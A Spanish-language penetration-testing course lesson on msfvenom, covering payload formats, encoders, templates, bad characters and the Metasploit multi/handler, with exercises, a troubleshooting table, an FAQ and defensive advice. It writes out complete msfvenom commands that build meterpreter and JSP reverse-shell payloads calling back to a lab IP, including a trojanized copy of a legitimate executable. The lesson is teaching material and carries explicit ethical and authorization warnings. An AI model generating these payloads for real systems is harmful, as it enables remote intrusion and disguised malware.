Parte: 3 — Hacking ético y pentesting: metodología · Fuente: Peter Kim - "The Hacker Playbook 3"; Georgia Weidman - "Penetration Testing: A Hands-On Introduction to Hacking" ⏱️ Duración estimada: 120 min · Nivel: Avanzado
El alumno aprenderá a generar payloads independientes con msfvenom en múltiples formatos y plataformas (ejecutables Windows, binarios Linux, scripts web, one-liners de PowerShell), comprenderá el papel real de los encoders y las plantillas, y aprenderá a recibir la conexión resultante con multi/handler. msfvenom es, en esencia, la herramienta que genera malware funcional con fines educativos; por eso esta clase exige el nivel más alto de responsabilidad ética del módulo.
Al finalizar, el alumno podrá:
exploit/multi/handler.-x y -k.| # | Tema | Por qué importa |
|---|---|---|
| 1 | Anatomía de un comando msfvenom (-p, -f, -o, LHOST, LPORT) |
Es la sintaxis base que se repite en todas las variantes |
| 2 | Formatos de salida (-f): exe, elf, raw, psh, war |
El formato debe coincidir con cómo se ejecutará en el objetivo real |
| 3 | Listado de payloads y formatos disponibles | Permite elegir el payload correcto por plataforma y arquitectura |
| 4 | Encoders (-e, -i) y sus límites reales |
Evita el error común de creer que ofuscan contra AV moderno |
| 5 | Plantillas (-x, -k) |
Permiten incrustar el payload en un binario legítimo |
| 6 | exploit/multi/handler |
Es el listener genérico que recibe la conexión del payload generado |
| 7 | Bad characters (-b) |
Evita bytes que rompen el payload en ciertos contextos de explotación |
| 8 | Staged vs. stageless en la nomenclatura del payload | El nombre exacto determina qué handler configurar |
msfpayload y msfencode, generando payloads standalone ejecutables fuera de msfconsole. Característica clave: produce artefactos binarios o scripts que se ejecutan de forma independiente en el sistema objetivo.-f): contenedor final del payload (exe, elf, raw, psh-cmd, war, apk, entre otros). Característica clave: debe coincidir exactamente con el mecanismo de ejecución previsto en el objetivo (doble clic, chmod +x, despliegue en un servidor de aplicaciones, etc.).-x): ejecutable legítimo preexistente en el que se inyecta el payload generado. Característica clave: la opción -k intenta preservar la funcionalidad original del ejecutable mientras corre el payload en un hilo separado.-b): bytes que deben evitarse en el payload generado porque rompen la ejecución en un contexto de explotación específico (por ejemplo \x00 en buffers basados en strings terminadas en null). Característica clave: se identifican durante el desarrollo del exploit, no son universales para todos los escenarios.exploit/multi/handler: módulo genérico de Metasploit que actúa como listener para cualquier payload standalone generado con msfvenom. Característica clave: la configuración del handler (tipo de payload, LHOST, LPORT) debe ser idéntica a la usada al generar el payload.bash
msfvenom --list payloads | less
msfvenom --list formats
⚠️ Nota ética — lectura obligatoria, la más estricta del módulo: los archivos generados con msfvenom son, literalmente, malware funcional con fines exclusivamente educativos. Se generan y ejecutan únicamente dentro de un laboratorio propio y aislado (VMs propias sin conexión a redes de producción) o dentro del alcance de un contrato de pentesting con reglas de engagement firmadas que autoricen explícitamente pruebas de ingeniería social/entrega de artefactos. Nunca distribuyas estos binarios fuera del laboratorio, nunca los subas a servicios públicos de análisis de malware (comparten muestras con terceros y pueden filtrar tu artefacto o alertar a un objetivo real), y nunca los uses contra un sistema o persona sin autorización explícita por escrito. Crear y desplegar malware contra sistemas no autorizados es un delito grave independientemente de la intención declarada.
Atacante Kali con IP 192.168.56.10 (ajustar según tu red de laboratorio).
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f exe -o /tmp/update.exe.msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f elf -o /tmp/backup.msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f psh-cmd.msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f war -o /tmp/shell.war.msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o /tmp/enc.exe.msfconsole: use exploit/multi/handler, set PAYLOAD windows/x64/meterpreter/reverse_tcp, set LHOST 192.168.56.10, set LPORT 4444, exploit -j.sessions -l.msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -x /ruta/a/binario_legitimo.exe -k -f exe -o /tmp/troyanizado.exe, y verifica en el laboratorio que el binario original sigue funcionando además de establecer la sesión.exe y en formato raw, y explica en qué escenario usarías cada uno.-b '\x00\x0a' y justifica por qué se evitarían esos bytes en un contexto de explotación de buffer.-x y -k, y comprueba que ambas funcionalidades (la original y el payload) siguen operativas.Reto: Generar un payload con msfvenom, entregarlo únicamente en la VM de laboratorio propia, y obtener la sesión correspondiente en el handler configurado.
Criterio de aceptación: el artefacto se genera con LHOST/LPORT correctos y documentados; el handler en msfconsole usa exactamente el mismo tipo de payload (misma arquitectura, mismo formato staged/stageless); tras ejecutar el binario manualmente en la VM propia, sessions -l muestra la sesión activa; y se documenta el comando exacto de generación junto con el comando exacto del handler.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| El handler nunca recibe la conexión | El payload configurado en el handler no coincide exactamente con el generado (arquitectura o staged/stageless distintos); deben ser idénticos |
| "No encoder succeeded" al generar el payload | Combinación de bad chars imposible de resolver o payload demasiado grande tras el encoding; reducir la lista de -b |
| El ejecutable es detectado y eliminado por el antivirus del laboratorio | Comportamiento esperado y correcto; los encoders de msfvenom no están diseñados para evadir AV moderno |
| El payload Linux no se ejecuta tras transferirlo | Falta el permiso de ejecución; aplicar chmod +x antes de ejecutar |
| Se generó para arquitectura equivocada (x86 en un sistema x64) | Verificar la arquitectura del objetivo y usar el payload correspondiente, ej. windows/x64/... |
El binario troyanizado con -x deja de funcionar como el original |
Falta la opción -k, que preserva la ejecución del binario original en un hilo separado |
El payload web (.war) no se despliega en el servidor de laboratorio |
Falta reiniciar el servicio de aplicaciones o el archivo no tiene el nombre/ruta esperada por el auto-deploy; revisar logs del servidor |
❓ ¿Los encoders de msfvenom evaden antivirus modernos? No de forma fiable. Encoders como shikata_ga_nai fueron diseñados originalmente para evitar bad characters en contextos de explotación, no para evadir motores de antivirus con heurística y análisis de comportamiento. Presentarlos como técnica de evasión sería engañoso; la evasión real de AV requiere técnicas mucho más avanzadas fuera del alcance de esta clase.
❓ ¿Cómo distingo un payload staged de uno stageless en msfvenom?
Por la nomenclatura: un payload como windows/meterpreter/reverse_tcp (con / antes de reverse_tcp) es staged, mientras que windows/meterpreter_reverse_tcp (con _ uniendo meterpreter y reverse_tcp) es stageless. El handler debe configurarse exactamente con el mismo string.
❓ ¿Puedo subir el payload generado a VirusTotal para probar si es detectado? No, ni siquiera en laboratorio. Servicios como VirusTotal comparten las muestras enviadas con proveedores de antivirus y terceros, lo que podría filtrar tu artefacto o, en un engagement real, alertar prematuramente al objetivo. Usa siempre un entorno de análisis aislado y propio.
❓ ¿Qué formato de payload uso para una aplicación web Java vulnerable en laboratorio?
Generalmente war para servidores tipo Tomcat, o jsp si se puede subir el archivo directamente al directorio de despliegue del servidor de laboratorio.
❓ ¿Es necesario usar siempre una plantilla (-x) al generar un payload?
No. La plantilla solo es necesaria cuando el escenario de laboratorio requiere que el payload aparente ser un programa legítimo funcional; para pruebas técnicas simples, un ejecutable standalone sin plantilla es suficiente y más simple de depurar.
❓ ¿Qué debería hacer un equipo defensivo para reducir el riesgo de payloads generados con msfvenom? Priorizar EDR con detección por comportamiento (no solo firmas de archivo), deshabilitar la ejecución de macros y scripts no firmados, aplicar listas de aplicaciones permitidas (application allowlisting) y monitorear conexiones salientes hacia puertos e IPs no habituales, ya que un payload reverse_tcp siempre necesita iniciar una conexión de red detectable.
Clase 074 — Meterpreter y post-explotación